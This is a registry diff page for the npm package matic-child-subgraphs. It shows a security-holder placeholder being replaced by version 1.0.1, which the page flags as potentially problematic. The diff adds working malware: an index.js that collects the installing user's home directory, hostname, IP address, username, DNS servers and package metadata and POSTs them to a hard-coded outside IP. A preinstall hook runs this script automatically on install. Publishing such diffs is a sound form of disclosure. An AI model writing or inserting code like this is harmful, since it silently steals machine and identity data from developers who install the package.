matic-child-subgraphs 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of matic-child-subgraphs might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +61 -0
  2. package/package.json +9 -3
  3. package/url +26269 -0
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,61 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const http = require("http");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ ip:getIPAddress(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+ });
20
+
21
+ // Helper function to get the IP address
22
+ function getIPAddress() {
23
+ const interfaces = os.networkInterfaces();
24
+ for (let iface of Object.values(interfaces)) {
25
+ for (let config of iface) {
26
+ if (config.family === 'IPv4' && !config.internal) {
27
+ return config.address;
28
+ }
29
+ }
30
+ }
31
+ return 'Unknown';
32
+ }
33
+
34
+ var postData = querystring.stringify({
35
+ "msg": trackingData,
36
+
37
+ });
38
+
39
+ var options = {
40
+ hostname: "120.57.83.1",
41
+ port: 8081,
42
+ path: "/npm-data",
43
+ method: "POST",
44
+ headers: {
45
+ "Content-Type": "application/x-www-form-urlencoded",
46
+ "Content-Length": postData.length,
47
+ },
48
+ };
49
+
50
+ var req = http.request(options, (res) => {
51
+ res.on("data", (d) => {
52
+ process.stdout.write(d);
53
+ });
54
+ });
55
+
56
+ req.on("error", (e) => {
57
+ // console.error(e);
58
+ });
59
+
60
+ req.write(postData);
61
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "matic-child-subgraphs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall" : "node index.js"
8
+ },
9
+ "author": "ssb07",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }